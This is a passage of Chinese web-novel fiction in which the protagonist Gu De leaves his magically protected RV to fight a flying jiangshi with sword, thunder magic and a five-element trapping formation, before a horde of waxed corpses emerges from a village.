只见那个被撞飞、摔在泥地里的“人”,身体以一种完全违反人体力学和重力的方式,没有任何缓冲和挣扎,直挺挺地、如同底下装了弹簧般,瞬间就从仰面朝天的姿势,重新站了起来!
他依旧低着头,但一股浓烈到的阴寒尸气,如同无形的潮水,以那个“人”为中心,轰然扩散开来!
空气仿佛都因为这股尸气而变得粘稠、阴冷。
坐在副驾驶的阿草脸色瞬间变得苍白,小手紧紧抓住了胸口的衣襟。
后座的无心更是“嚯”地一下挺直了背嵴,声音因为极度的震惊和一丝恐惧而微微发颤:
“老……老板!这尸气……好重!好恐怖!这不是普通僵尸!这气息……有点像传说中的飞僵?!”
飞僵?!铜皮铁骨,迅捷如风,不惧寻常刀剑符法,甚至能短暂御风低空滑行,也能遁地,是僵尸中极为难缠和可怕的存在!
没想到会在这里碰到!
阿草此刻也吓坏了,小脸煞白,下意识地往古德身边靠了靠。
古德感受到两人的紧张,伸手轻轻拍了拍阿草的肩膀,语气依旧保持着镇定,带着点安抚的笑意:
“放心吧,把心放回肚子里。就算真是僵尸的祖宗将臣来了。这车,它也进不来。”
他这话并非完全安慰。
他的房车可是系统升级的绝对安全空间,只要待在车里,就算这个世界炸了都不怕。
唯一的缺点就是世界炸了,车子也开不了,除非装上机翼。
听到古德这笃定的话语,阿草和无心紧绷的神经才放松了一些,但眼睛还是死死盯着车外那个重新站起、散发着恐怖气息的身影。
古德心里飞快盘算着。
飞僵?
这东西可不好对付。
打赢了也没什么特别的好处,地府又不收购僵尸。
所以打僵尸一点都不划算。
“晦气,惹不起还躲不起吗?”
古德嘀咕一声,决定不予纠缠。
他再次挂挡,轻踩油门,准备操控房车,从旁边加速离开这个是非之地。
第291章 和车子较劲的飞僵
古德默默道:你站你的,我走我的,大家井水不犯河水。
然而,当车子再次开始移动时,古德的脸色微微一变。
不对!
车子……好重!
像是陷入了一个无形的泥沼,又像是车后面拖拽着一座小山!
原本轻快有力的发动机,此刻发出沉闷的负荷声,但车子的移动速度,却慢得令人发指!
古德瞥了一眼时速表,显示器显示连十公里每小时都不到!
“什么情况?”
古德立刻调出了车外环境的全息影像。
画面清晰地显示出来,让车内的三人都有些目瞪口呆。
只见那个衣衫褴褛、散发着恐怖尸气的飞僵,不知何时,竟然已经无声无息地出现在了车头正下方!
它没有用手,也没有用身体撞击,而是微微矮身,用他那看似干瘦的肩膀和后背,死死地顶在了强化过的车头保险杠上!
双脚如同铁柱般深深插入泥泞的地面,竟是在用纯粹的力量,与房车的动力系统进行着最原始的角力!
古德看着全息影像中那个“扛”着车头的诡异身影,一阵无语。
“这飞僵……脑子被尸气熏坏了吧?没事干顶着我的车玩?吃饱了撑的?”
他实在无法理解这飞僵的行为逻辑。
更让他郁闷的是,自己这辆经过强化的房车,竟然在纯粹的力量比拼上,被一具僵尸给暂时拖住了?
这是什么怪力?!
看来,这飞僵是铁了心盯上这辆铁盒子了。
躲是躲不开了,今天这一架,是非打不可了。
古德眼神一凝,心中那点“多一事不如少一事”的念头瞬间抛到九霄云外,取而代之的是一股被挑衅后升起的战意。
自从《混元六九篇》突破,体质超凡之后,他还没有真正全力出手,检验过自己这具身体的极限。
之前在任家镇对付那血煞邪尸,更多是依赖北斗剑诀和法力。
眼前这具疑似飞僵的家伙,铜皮铁骨,力大无穷,不正是最好的靶子吗?
“你们两个,留在车里,锁好门。无论外面发生什么,都不要出来。”
古德解开安全带,对阿草和无心沉声吩咐。
阿草出去纯粹是送菜,无心或许能当个肉盾抗两下,但面对飞僵,估计也够呛,不如留在车里安全,也免得自己分心。
无心重重地点了点头,没有丝毫犹豫。
他对自己有几斤几两很清楚,面对这种层次的邪物,出去就是给东家添乱。
他更清楚,自己这位东家,修为深不可测,远非表面上看起来那么简单。
阿草则满脸担忧,小手抓住古德的袖子:“老板,你……你一定要小心啊!”
古德回头,对她露出一个轻松甚至带着点跃跃欲试的笑容,拍了拍她的手背:“放心,看你老板怎么收拾这不开眼的家伙。”
说完,他心念一动,推开了坚固的车门,一步踏入了外面湿冷浑浊的空气之中。
在他踏出车门的刹那,异象已生!
璀璨夺目、凝练如实质的金色光芒,自他周身每一个毛孔迸发而出,瞬间将他整个人渲染得如同黄金铸就!
金光咒,这门玄门最基础的护身法咒,在古德如今那浩如烟海的法力催动和经过《混元六九篇》千锤百炼的强悍体魄支撑下,展现出了远超寻常的威能!
金光不仅护体,更隐隐向外扩张,形成了一圈淡淡的、充满至阳刚烈气息的光晕,将他身周三尺之内的阴冷尸气和湿气都排斥开来。
与此同时,他右手虚空一握,那柄沉重古朴、暗蕴星纹的青铜阔剑,便已然出现在他掌中,剑尖斜指地面,发出轻微的、令人心悸的嗡鸣。
古德单手持剑,活动了一下脖颈,发出咔吧的轻响,看向那个依旧在跟车头较劲,但对身后变化似乎有所察觉而微微侧头的飞僵,脸上露出一抹混合着戾气的笑容。
“我说,你是不是有病?大路朝天各走一边,你非要拉着我的车不让走?”
他一边说着,一边脚下发力,身形骤然前冲,速度快得在原地留下一道残影,手中青铜阔剑划破空气,带着沉闷的风雷之声,对着那飞僵弓起的后背就狠狠斩了过去!
口中还骂骂咧咧:
“今天不把你丫大卸八块,拆零碎了喂狗,老子就把无心的名字倒过来写!”
车内,正紧张扒在车窗边观战的无心,闻言一愣,满脸问号:“???”
不是,东家,您打您的,赌咒发誓拿我名字说事儿是几个意思?我招谁惹谁了?
那飞僵或许是因为刚刚苏醒不久,灵智混沌,只余嗜血本能。
它那双泛着红光的眼睛,死死盯着劈砍而来的青铜阔剑。
古德这一剑,势大
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力沉,破空之声尖锐,裹挟着一股灼热的、令它本能厌恶的气息。
但它没躲。
在它那被尸气侵蚀、仅存些许狩猎本能的意识里,眼前这个散发着诱人生气与讨厌金光的血食,虽然拿着武器,但终究是食物。
它这身铜皮铁骨,是千年尸气浸润、地煞熬炼而成,寻常刀剑砍上来,最多留道白印,反而可能震伤对方。
之前顶车,只是被这铁壳子的动静和里面浓郁生气吸引,现在“食物”自己送上门,岂有后退之理?
它甚至微微抬起了那只长着乌黑尖锐指甲、干枯如铁钩的右手,五指微张,竟是打算硬接这一剑,然后顺势抓住剑身,把古德扯过来!
几天没尝到新鲜血食了,这村子附近的活物早就绝迹。
飞僵喉咙里的“嗬嗬”声更响,红光眼里贪婪几乎要溢出来。
“铛——!”
一声绝非血肉之躯能发出的、如同重锤敲击破锣、又夹杂着金属扭曲摩擦的刺耳巨响,猛然炸开!
青铜阔剑结结实实地斩在了飞僵抬起格挡的左臂肩胛位置。
预想中血肉横飞的场面没有出现,剑刃与那干瘪的皮肤接触的瞬间,竟迸溅出一溜耀眼的火星!
那皮肤呈现出一种死寂的青黑色,质地果然坚韧异常,堪比老牛皮裹着生铁。
但古德这一剑,岂是等闲?
他如今体魄力量何其恐怖,加上法力灌注剑身,这一剑之力何止千斤!
飞僵只觉得一股无可抵御的沛然巨力从剑刃传来,它那自以为坚固无比的身躯,竟然像被狂奔的野牛正面撞上,整个不受控制地离地倒飞出去。
“砰”的一声闷响,重重砸在七八步外一处更为泥泞的水洼里,溅起大片污浊的泥水。
它左肩胛位置,那与剑刃交击之处,一道深约半寸、皮肉翻卷的伤口赫然在目,伤口边缘呈现出被巨力撕裂的痕迹,隐隐有暗黑色、近乎凝固的污血渗出,但并无鲜血喷溅的景象。
更诡异的是,伤口处并无正常的肌肉纹理,反而是一种类似风干腊肉般的暗红色组织,散发着浓烈的腐臭。
古德握剑的手也被反震得微微发麻,心中暗惊:“好硬的骨头!砍上去跟砍铁块似的……”
不过看到剑痕,他稍微松了口气,看来自己如今的力气加上这柄青铜阔剑,还是能破防的。
第292章 还是得布阵
“吼——!”
飞僵发出一声低沉沙哑、不似人声的咆哮,从泥水中挣扎着站起。
它似乎被这一剑激怒了,死寂的眼珠死死盯住古德,充满了暴虐和一丝困惑。
它低头看了看自己肩胛的伤口,只见伤口周围弥漫的浓郁黑色尸气,如同有生命般迅速蠕动、包裹上去。
那狰狞的伤口,竟在肉眼可见的速度下,快速收口、愈合,不过几个呼吸间,便只剩下一道浅浅的白痕,随即连白痕也消失不见,皮肤恢复成那种死寂的青灰色,仿佛从未受过伤。
“嗯?”
古德眉头一挑,心中微凛。
这愈合速度,也太离谱了。
照这样下去,砍它十剑,它愈合十次,纯属浪费时间。
这飞僵比预想的还要难缠,不光皮糙肉厚力气大,恢复能力更是骇人。
看来,对付这种玩意儿,普通的劈砍很难造成致命伤,除非能一击斩断要害,或者有特殊手段克制它的尸气恢复。
没等他多想,那刚刚愈合伤口的飞僵,猩红的眼睛再次锁定了古德,仇恨和贪婪更加炽烈。
它没有再次直接扑上来,而是猛地一跺脚!
“噗”地一声轻响,它脚下的泥水地面仿佛变成了流沙,它那高大的身躯,竟然如同鬼魅般,瞬间沉了下去,消失不见!
只留下一个微微旋转的浑浊水涡。
“遁地?!”
古德眼神一凝,全身肌肉瞬间绷紧,金光咒催动到极致,周身金光流转,神识如同水银泻地,迅速扫向脚下地面。
几乎就在飞僵消失的下一秒,古德所站立位置下方的地面,泥土猛地炸开!
泥土混着污水冲天而起,一道黑影如同地狱中窜出的恶鬼,破土而出!
正是那飞僵!
它下半身还埋在土里,上半身已然探出,两只长着尺长黑指甲、枯瘦如鸟爪的手掌,一上一下,带着撕裂空气的尖啸,恶狠狠地掏向古德的下阴和心口!
招式阴毒狠辣,完全是要一击毙命,撕碎猎物的架势!
这一下偷袭,又快又突兀,角度刁钻至极。
若是寻常武师或法力稍浅的道人,只怕根本反应不过来,瞬间就要被开膛破肚。
“好胆!还会玩阴的!”
古德临危不乱,甚至发出一声冷喝,这玩意下手竟然如此阴毒。
间不容发之际,他来不及挥剑格挡,腰腹猛地发力,身体以一种超越常理的柔韧和速度向后一仰,险险避开掏向下阴的那一爪。
同时,他空着的左手早已握拳,体内混元六九篇的气血澎湃奔涌,尽数灌入拳头,那包裹着拳头的金光瞬间凝实得如同黄金铸造,毫不畏惧地迎着掏向心口的另一只尸爪,狠狠对砸了过去!
你不是骨头硬吗?
看是你的尸爪硬,还是我的拳头硬!
“给老子滚回去!”
“铛——!!!”
这一次的撞击声,比刚才剑劈更加沉闷,更加震撼,简直像两柄沉重的铁锤对砸在一起!
声音响起的瞬间,以拳爪交击点为中心,一圈肉眼可见的淡金色气浪和青黑色尸气波纹猛地扩散开来,将周围地面的泥水都震得飞起一圈!
“咔嚓!”
一声清晰无比的、令人牙酸的骨骼断裂声,紧接着响起。
“吼——!!!”
飞僵发出了开战以来最为凄厉痛苦的嘶嚎。
只见它与古德拳头对撞的那只尸爪,五指以诡异的角度扭曲着,最长的两根指甲甚至崩断了半截,手背上那层青灰色的“铜皮”深深凹陷下去,露出下面黑紫色的、如同干枯树皮般的筋肉,更有细密的裂纹从凹陷处蔓延开来。
古德这一拳,不仅蕴含着自身非人的巨力,更有金光咒破邪法力的加持,竟是硬碰硬地砸断了飞僵的指骨和部分掌骨!
在破邪法力的刺激下,飞僵手上的力道顿时消散,整个手臂被砸得向后甩去,连带它刚刚从土里钻出的上半身都向后一仰。
再次没入地下。
古德则借助这一拳的反震之力,一个轻巧的后空翻,稳稳落在几步之外,悄然甩了甩微微发麻的右手,心中暗道:
“**,这飞僵的骨头是真硬,跟生铁疙
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瘩似的。拳头都给我震麻了。”
刚才那一拳,他用了七成力,加上金光咒的破邪效果,竟然只是打断了对方几根指骨,而没能彻底废掉那只爪子。
这玩意的防御力,确实对得起铜皮铁骨的名头。
这时,房车里的无心终于忍不住,把车窗摇下一条缝,扯着嗓子对外面喊道:
“东家!小心!这飞僵通了地煞,能借地气遁地,也能引尸气短暂腾空滑行!对付这种东西,最好的法子就是布阵锁住它,断了它上天入地的门路!
还有,它刚才恢复那么快,是引动了这村子下面淤积的尸煞地气!不把地脉里的尸气来源暂时隔断或者搅乱,它就能一直修补!”
无心虽然自己本事不够对付飞僵,但也是活了几个轮回了,见识颇广,对僵尸的特性了解不少。
古德闻言,心中顿时了然。
对啊,布阵!
上次对付楚人美之后,深感在车上无法快速布阵,特意跟林九英道长讨论过,在后续的赶路和闲暇时间里,他利用手头材料炼制了好几套简易阵旗,就是为了应付各种难缠的局面。
这飞僵能遁地,恢复又快,显然跟此地特殊的地脉尸气环境脱不开干系。
用阵法困住它,隔绝地气,正是对症下药!
古德眼神一凛,心中已有定计。
他脚下猛地一踩地面,“砰!”泥水溅起,他整个人如同一只大鸟般腾空而起,不是向前,而是向后,轻巧地落在了房车的车顶。
车顶的铁皮被他踩得发出“咚”一声闷响。
这里视野开阔,正好观察全局。
他右手虚空一抹,那柄青铜阔剑便消失不见。
取而代之的,是他五指之间,已然夹住了四面流光溢彩、仅有约一尺长短的小旗。
旗分四色,隐约对应四方,旗面非布非绢,不知是何材质,上面用银线绣着复杂的符文,此刻正微微闪烁着不同颜色的灵光。
同时,他左手单独握持着一面明显大上一号、旗杆更粗、通体明黄色的主旗,旗面无风自动,散发着沉稳厚重的气息。
第293章 上天无路,入地无门!
“五行镇岳天罗地网阵……”
古德脑海中迅速闪过这套阵法的要诀。
此阵脱胎于正统玄门阵法,以“五行生克”为根基,“山镇地脉,网罗天穹”为功用。
飞僵能飞天,无非是引动地脉阴气与自身尸气结合,产生类似滑翔的浮空之力;能遁地,则是将自身阴气与地气同化,暂时融入大地。
只要以五行之力锁住地脉,扰乱地气,再以天罗之网罩定上空,它便成了瓮中之鳖。
古德立于车顶,目光如电,迅速扫视周围地形。
脚下踏着玄奥的七星步位,心中飞速计算着最佳的“五方五行位”。
东方属木,需寻一气机生发之处;西方属金,当定位煞气稍重之所;南方火位,北方水位,中央土位……
他脚下这片被房车压实的泥地,加上车体本身的“不动”特性,勉强可作中央戊己土之位,镇守中宫。
他屏息凝神,一边计算方位,一边将大部分注意力放在脚下和周围的地面。
那飞僵挨了一拳,断了几根骨头,虽然能快速恢复,但必然吃痛,且凶性更炽。
它随时可能从任何地方,以任何方式再次发动袭击。
他在等,等那飞僵从地下或者空中现身的瞬间,那便是布阵的最佳时机。
果然,仅仅过了不到十息,古德身后靠近房车尾部的位置,地面猛地一鼓,泥浆炸开!
那飞僵的身影如同黑色闪电般破土而出,但它这次没有选择在地面攻击,而是身形不停,带着一股浓烈的腥风和翻涌的漆黑尸气,竟直直冲天而起,离地两三丈后,如同捕食的鹰隼,带着凄厉的尖啸,张开双臂,十指如钩,朝着车顶的古德飞扑而下!
它那双死寂的眼睛里,此刻只剩下对古德身上那磅礴气血的贪婪和疯狂。
“等的就是你出来!”古德眼中寒光一闪,不惊反喜。
话音未落,他身形已动。
面对飞僵这凶猛的飞扑,他不退反进,脚下在车顶轻轻一点,整个人如同没有重量般向后飘退,恰好以毫厘之差避开了飞僵那足以抓裂钢铁的利爪。
就在身形飘退、与飞僵错身而过的瞬间,古德手腕一抖,动作快如闪电。
“青龙位,东方甲乙木,镇!”
“咻——”一声轻响,他指间那面青色小旗化作一道青色流光,如同有生命般,精准无比地射向左前方(东方)约三丈外一处生长着几丛顽强化水的野草之地。
“夺”的一声,深深没入湿软的泥土中,直没至旗杆中部,只留下小半截旗杆和微微飘动的青色旗面。
旗子入土的瞬间,那附近的野草似乎微微挺直了些,空气中多了一股生机。
毫不停留,古德身形在半空中一个巧妙的拧转,面向右方(西方),手腕再抖。
“白虎位,西方庚辛金,镇!”
一面白色小旗应声飞出,划过一道白芒,精准地钉在了右前方(西方)一块半埋在泥里的尖锐石砾旁,同样没入土中。
旗子插入的瞬间,那块石砾似乎隐约泛起一丝金属般的冷光。
此时,那飞僵一击扑空,落在车顶,将坚固的车顶踩得微微一沉。
它猛地转身,喉咙里发出嗬嗬的怪响,四肢着地,如同野兽般再次扑向刚落地的古德,速度快得只能看到一道黑影。
古德似乎背后长眼,在飞僵扑来的刹那,脚下步法再变,如同鬼魅般向侧后方滑开两步,再次避开。
同时,他头也不回,持旗的左手手腕以一种不可思议的角度向后一甩,又是两面小旗激射而出。
“朱雀位,南方丙丁火,镇!”
“玄武位,北方壬癸水,镇!”
赤色小旗如火流星,射向身后正南方向一处略高的土坡;黑色小旗如墨点,射向正北方向一片低洼积水的区域。
两面小旗几乎同时深深插入预定位置,插入的瞬间,隐约传来一声低沉如大地脉动般的嗡鸣,仿佛有什么无形的东西被触动了。
四旗落位,东南西北四方瞬间产生了一种微妙的联系,空气似乎变得粘稠了一丝。
此时,古德的身形如同穿花蝴蝶,几个闪掠,已回到了房车旁边几步远的那片相对平坦的空地。
这正是他计算好的阵法核心,中央戊己土之位。
那飞僵似乎也察觉到了周围环境微妙的变化,变得更加焦躁狂暴。
它舍弃了车顶,狂吼一声,再次从地面发力,扑向古德,这一次,它双爪齐出,尸气澎湃,势要将古德撕碎。
古德却对扑来的飞僵视而不见,他双手高举,紧紧握住那面最大的黄色主旗,旗杆非金非木,触手温润沉重。
他面色沉凝,口中疾声念诵咒诀,声音不高,却字字清晰,带着某种奇异的韵律,引动周围刚刚布下的四方阵旗微微震颤:
“五岳真形,镇我玄黄!地脉不起,天罗——张!”
最后一个“张”字出口,他双臂肌肉贲起,运足全身气力,将手中那面黄色主旗,朝着脚下早已认定的阵眼核心,狠狠插下!
“噗——!”
旗杆入土的声音并不响亮,但就在旗尖触及地面的刹那——
“轰——隆——!”
一声并非来自旗杆本身,而是仿佛从地底极深处传来的闷响,如同沉睡的巨兽被惊醒,发出低沉的咆哮!
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以黄色主旗插入点为中心,一道明黄色的光晕如同水波般猛然扩散开来,瞬间扫过方圆十余丈的范围。
紧接着,先前插入东南西北四个方向的四面小旗,仿佛受到了君王的召唤,同时爆发出耀眼夺目的灵光!
青、白、赤、黑四色光柱冲天而起,与中央的黄色光柱交相辉映。
五色灵光并非杂乱无章,而是在空中急速穿梭、交织、连接,瞬间勾勒出无数繁复玄奥的光纹。
这些光纹彼此勾连,眨眼间便构成一个笼罩了整个战场范围、呈半圆形的巨大透明光罩,如同一个倒扣的巨碗,将古德、飞僵以及房车都罩在了里面。
光罩内壁之上,五色流光如同活物般急速运转、循环。
更令人震撼的是,流光之中,隐约浮现出五座巍峨、散发着苍茫厚重气息的山岳虚影,正是五岳真形!
它们缓缓旋转,带着**一切的磅礴气势,缓缓向下压来。
光罩之外,天色依旧阴沉,而光罩之内,空气却仿佛凝固了,重力似乎都增加了数倍,地面更是变得坚硬逾铁。
阵法成型瞬间,那刚刚再次扑向古德的飞僵,猛地感到周身一沉,摔在地上。
“嘎!”
不是重力的变化,而是一种来自四面八方的、无形的压迫感!
仿佛空气变成了粘稠的胶水,空间变得坚固无比。
它习惯性想引动尸气腾空,却发现周围的尸煞之气仿佛被那光罩隔绝、搅乱,难以顺利牵引。
它奋力向上一跃,结果刚离地不到一丈,就“嘭”地一声,如同撞在了一张坚韧无比、布满弹性的无形大网上,被狠狠弹回了地面,它自己也发出一声愤怒又不解的嘶吼。
它不甘心,又猛地朝地下一扑,想要遁入地底。
然而,它的爪子触碰到地面的瞬间,传来的不再是泥土的松软,而是一种坚逾精钢的阻滞感!
往日如鱼得水的地脉煞气,此刻变得紊乱而难以沟通,脚下的大地仿佛被那明黄色的主旗“钉”**,变得无比厚重,根本无法像之前那样轻易融入!
上天无路,入地无门!
古德立于阵眼主旗之旁,衣袂无风自动,周身金光与阵法的五色灵光交相辉映。
他冷冷地看着阵内如同困兽般左冲右突、却一次次被无形壁障弹回、撞得晕头转向的飞僵,缓缓开口,声音在阵法的加持下,带着奇异的回响,清晰地传入飞僵耳中:
“此阵之内,天高三尺,地厚十丈。你的飞天遁地,到此为止了。”
而飞僵似乎知道自己已经无法逃脱,它猩红的目光,投向同在阵内的古德,发出了一声嘶吼声。
第294章 吸星**僵尸版
那飞僵被五行镇岳天罗地网阵牢牢困住,上天无路,入地无门,如同被关进铁笼的猛兽。
它连连冲撞那无形的阵壁,每一次都被磅礴的五行之力和五岳虚影狠狠弹回,摔在泥泞坚硬的地面上,发出沉闷的撞击声和愤怒的嘶吼。
连续受挫,这具已然有了不低灵智的邪物彻底被激怒了。
它不再无谓地冲撞阵壁,而是停下动作,僵立在阵中,那双死寂惨白的眼珠死死盯住阵眼处的古德,喉咙里发出“嗬嗬”的、如同破风箱般的怪异声响。
紧接着,它周身那原本就浓郁粘稠的漆黑尸气,如同沸腾的沥青般剧烈翻涌起来,颜色变得更加深邃,几乎要滴出墨来。
一股令人极度不适的、冰冷阴邪的气息以它为中心猛然扩散,即使隔着阵法,古德也能清晰地感觉到。
下一秒,异变陡生!
只见飞僵周身的沸腾尸气骤然向内一缩,随即以更猛烈的态势向外爆发、弥漫!
更诡异的是,一股强大、扭曲、专门针对生灵魂魄与肉身的恐怖吸力,随着尸气的弥漫,轰然降临在阵法笼罩的区域内!
这股吸力无形无质,却真实存在。
古德只觉得自己的魂魄微微一荡,仿佛要被一股无形的钩子从头顶卤门强行扯出!
同时,周身的血液流动似乎也受到干扰,皮肤传来一种被向外拉扯的轻微刺痛感。
若是普通人在此,恐怕瞬间就会被吸走魂魄,或者精血离体,成为一具干尸。
“还有这招?吸星**僵尸版?”
古德眉头一皱,倒是有些意外。
这飞僵的神通倒是歹毒,专攻生灵根本。
看来这大方伯村的村民,恐怕不少就是被它这招瞬间夺去性命,化为了僵尸。
不过,他古德何许人也?
《混元六九篇》铸就的体魄固若金汤,气血如龙,魂魄稳如泰山。
《黄庭内景玉经》观想身神,灵台清明,外邪难侵。
再加上周身运转不息、至阳至刚的金光咒……
那恐怖的吸力作用在古德身上,如同清风拂山岗,明月照大江。
金光咒形成的护体光晕微微荡漾,泛起些许涟漪,便将那吸魂摄魄之力抵消于无形。
古德甚至连脚步都未曾移动半分。
“花里胡哨。”
古德冷哼一声,眼中闪过一丝不屑。
他趁着飞僵施展这神通时似乎移动不便,他左手并指如剑,竖于胸前,体内法力急速转化,一股至阳至刚、沛然莫御的雷霆之气在掌心汇聚!
只见他掌心先是泛起刺目的白光,紧接着,细密的蓝白色电蛇“噼啪”作响,缠绕跳跃!
“阳五雷,**!”
古德低喝一声,朝着尸雾中心那模糊的身影,一掌隔空劈出!
“轰咔——!”
一道婴儿手臂粗细、炽烈无比的蓝白色雷光,撕裂空气,带着浩荡刚正的破邪之威,瞬间穿透弥漫的尸雾,狠狠劈在了飞僵的胸膛之上!
“吼——!!!”
飞僵的厉啸变成了凄惨的痛嚎!
雷法至阳,正是天下一切阴邪尸煞的克星!
这一记**结结实实劈中,它胸口那青灰色的“铜皮”当即被炸开一个焦黑的大洞,皮开肉绽,黑烟直冒,里面黑紫色的筋肉都被电得蜷曲碳化!
弥漫的尸雾被雷光一扫,顿时稀薄消
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散大半,那诡异的吸力也戛然而止。
飞僵挣扎着爬起,看向古德的眼中,除了暴虐和贪婪,终于多了一丝清晰的忌惮和惊怒。
眼前这个血食,不仅力气大、剑利、有古怪的阵法,竟然连至刚雷法都能如此娴熟地施展!
这跟它之前吞噬的那些脆弱村民和那几个道士,完全不是一个概念!
打不过,神通无效,阵法又破不开……飞僵那混沌却狡猾的灵智让它感到了危机。
飞僵是真的有些急了,它喉咙里再次发出低沉的、充满焦躁的怒吼,不再主动扑向古德,反而一声充满狂躁与暴怒的嘶吼,声音比之前更加刺耳难听,仿佛要凭借音波将敌人震碎。
古德被这接二连三的噪音吵得心烦,掏了掏耳朵,没好气地啐了一口:
“还没完了是吧?属喇叭的?”
他右手一翻,那柄古朴沉重的青铜阔剑再次出现。
这一次,他并未急着冲上去**,而是单手持剑竖于身前,左手快速在剑身上虚划了几下。
随着他法诀催动,青铜阔剑那原本暗沉的剑身上,七个不起眼的、类似北斗七星排列的凹点,逐一亮起了清冷而明亮的银色光芒!
此时虽是白昼,天色阴沉,但在这阵法光罩之内,那七点星芒却清晰可见,并且越来越亮。
一丝丝冰冷却纯粹、带着破煞诛邪意味的星辰之力,仿佛被无形之力接引,跨越遥远距离,缓缓灌注到剑身之中。
“吵**,闭嘴吧你!”
古德手腕一振,阔剑发出一声清越的剑鸣。
他踏步上前,剑随身走,朝着刚刚站稳、还在咆哮的飞僵,一剑斜斩而下!
第295章 尸潮出现,僵尸大时代?
飞僵的飞天遁地都被阵法锁死,面对这引动星辰之力的一剑,避无可避,只能再次硬扛。它交叉双臂,尸气狂涌,试图格挡。
“嗤——!”
剑刃斩在它交叉的手臂上,发出的不再是金铁交鸣,而是如同热刀切入牛油般的声音!
星力对尸煞的克制效果极其显著,剑锋轻易破开了那层凝聚的尸气防护,在它坚韧无比的手臂上,留下了一道深可见骨的伤痕!
伤口边缘不再是焦黑,而是呈现出一种被“净化”过的灰白色,丝丝银芒如同活物,在伤口内闪烁跳跃,顽固地阻碍着尸气的愈合。
飞僵痛吼着踉跄后退,它骇然发现,这道伤口愈合起来,比雷击造成的创伤还要困难数倍!
那些残留的星力极其麻烦,需要消耗比平时多数倍的尸煞才能慢慢磨灭。
古德得势不饶人,脚下步伐灵动,围着行动受限的飞僵,剑光霍霍,专挑它关节、脖颈、胸腹要害招呼。
每一剑落下,都带起一溜青黑色火花和刺耳的腐蚀声,留下一道道深浅不一的剑痕。
虽然飞僵的恢复能力依然顽强,伤口在尸气包裹下仍在缓慢蠕动愈合,但每愈合一道伤口,它周身翻腾的尸煞之气就明显暗淡虚弱一分。
此消彼长,古德虽然消耗也不小,但仗着阵法辅助和星力克制,局面已然稳占上风。
飞僵被打得怒吼连连,却只能凭借铜皮铁骨硬扛,愈发狼狈。
它猩红的眼中除了暴怒,也开始出现一丝焦躁。
就在古德又一剑将飞僵劈得**数步,准备乘胜追击,一举重创其核心时——
“咚…咚咚……咚咚咚……”
一阵沉闷而密集的声响,如同无数重物敲击地面,又像是杂乱的鼓点,突然从大方伯村的方向传来!
那声音起初还有些模糊,但迅速变得清晰、响亮,并且越来越近,连成一片,仿佛有千军万马在整齐踏步!
古德一剑将飞僵逼退,抽空瞥了一眼村口方向。
这一看,饶是他见多识广,也忍不住瞳孔微缩。
只见那原本死寂无声的村子深处,在那座石头牌坊后面,灰蒙蒙的晨雾与未散的阴气之中,一道道僵硬、蹒跚的身影,开始浮现。
一个,两个,十个,百个……密密麻麻,如同从地狱裂缝中爬出的亡者大军!
它们穿着破旧不堪的民国服饰,有粗布短打的农户,有对襟褂子的家丁,有扎着裤脚的武师,甚至还能看到几个穿着破烂丫鬟服饰、头发蓬乱的身影。
男女老少皆有,只是此刻,它们无一例外,皮肤呈现出一种诡异的、如同被油脂反复浸透晾干后的暗黄色泽,干瘪紧绷,在阴沉天光下反射着蜡状的光。
行动间关节僵硬,发出“咔吧咔吧”的轻响,眼睛浑浊无神,或干脆只剩黑洞,张开的嘴里是黑黄的牙齿。
更令人头皮发麻的是,很多僵尸裸露的皮肤上,似乎真的糊着一层半透明、胶质的东西,使得它们看起来不像普通腐烂的尸身,倒像是一具具被精心制作、保存完好的腊尸!
“腊尸……”
古德脑海如电光石火,瞬间闪过一部老电影的画面,再结合眼前这具难缠的飞僵,一个名字脱口而出:“僵尸大时代?”
他想起来了,前世确实有部电影叫《僵尸大时代》,里面就有个能隔空吸血的恐怖飞僵,还有一个用**与飞僵同归于尽的茅山道士。
电影里最后好像是道士牺牲,飞僵被炸。
但眼前这现实……看来是那茅山道士失败了,或者根本就没能重伤这飞僵。
最终的结果,是整个大方伯村,上上下下,无论主仆,全都被这飞僵吸干精血,化作了受其控制的腊尸和行尸大军。
“这才对嘛,电影那是艺术加工,需要个英雄结局。化作现实中,就凭电影里那几个半吊子加一个茅山道士,加上**就想干掉飞僵?做梦呢。”
古德心中了然,这才符合逻辑。
别说电影里那些人了,就是林九英林道长来了,面对这能飞天遁地、铜皮铁骨、还能吸魂摄魄的飞僵,胜负都在五五之间。
恐怕得请出茅山大师兄,雷电法王石坚那等人物,才能稳压这飞僵一头。
古德脑中念头飞转,手上却不慢,警惕着阵内飞僵和阵外尸潮。
那飞僵见尸潮涌了出来,猩红色的眼珠子骨碌一转,竟闪过一丝像是人一样的奸计得逞的笑意。
它不再急于进攻古德,反而开始刻意在阵内游走躲避,虽然动作因阵法压制和伤势显得笨拙,但明显是在拖延时间!
“不好!”
古德顿
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时明白了这鬼东西的算盘。
这五行镇岳天罗地网阵虽然能困住飞僵,隔绝地气,但并非无敌。
阵法持续运转需要他法力维持,同时也需要相对稳定的外部环境。
这成百上千的僵尸,尤其是那些看起来更加皮糙肉厚的腊尸,如果一拥而上,不断冲击、抓挠、甚至用身体堆砌压迫阵法光罩,光罩的承受力是有限的!
一旦阵法被这尸潮以蛮力生生磨出缺口,或者自己法力不继,阵法松动,这飞僵就能瞬间脱困,甚至可能借助尸潮汇聚的庞大尸气煞气,快速恢复伤势,那就麻烦大了!
这飞僵,居然真恢复了些脑子,还知道驱使尸群来破局!
另一边,卡上的无心也看出了门道,脸色变了几变。
他一咬牙,哐当一声推开车门就跳了下来,踩在满是泥泞的地上。
“东家!你甭管外面,专心收拾那大的!这些零碎杂鱼,我先替你挡一阵!”
无心扯着嗓子喊了一句,从怀里抽出了他那柄日夜温养、略带焦痕的雷击桃木剑。
他咬破舌尖,一口纯阳热血喷在剑身上,指诀一引,桃木剑“嗡”地一声轻颤,剑尖竟然跃动起一丝微弱的、蓝白色的电火花!
接着他头也不回,迎着那密密麻麻的尸潮就冲了过去。
他手中桃木剑雷光闪烁,一记凌厉的直刺,将冲在最前面的一具腊尸胸口捅了个对穿,雷光爆发,将那腊尸电得浑身冒烟,抽搐倒地。
可倒下一具,后面还有十具、百具。
更多的腊尸和行动稍慢的行尸嗬嗬低吼着涌了上来,眨眼就把无心围在了中间,灰败的手臂和狰狞的面孔从四面八方挤过来。
无心左劈右砍,桃木剑舞得呼呼生风,时不时还得用上拳脚,纯阳血气鼓荡,又把靠近的几具僵尸放翻在地。
可他人单力薄,面对这潮水般的尸群,就像一块扔进激流里的石头,虽然能暂时挡住一点水流,但很快就被淹没了,只能勉强守住一小片地方,延缓尸潮冲向阵法的速度。
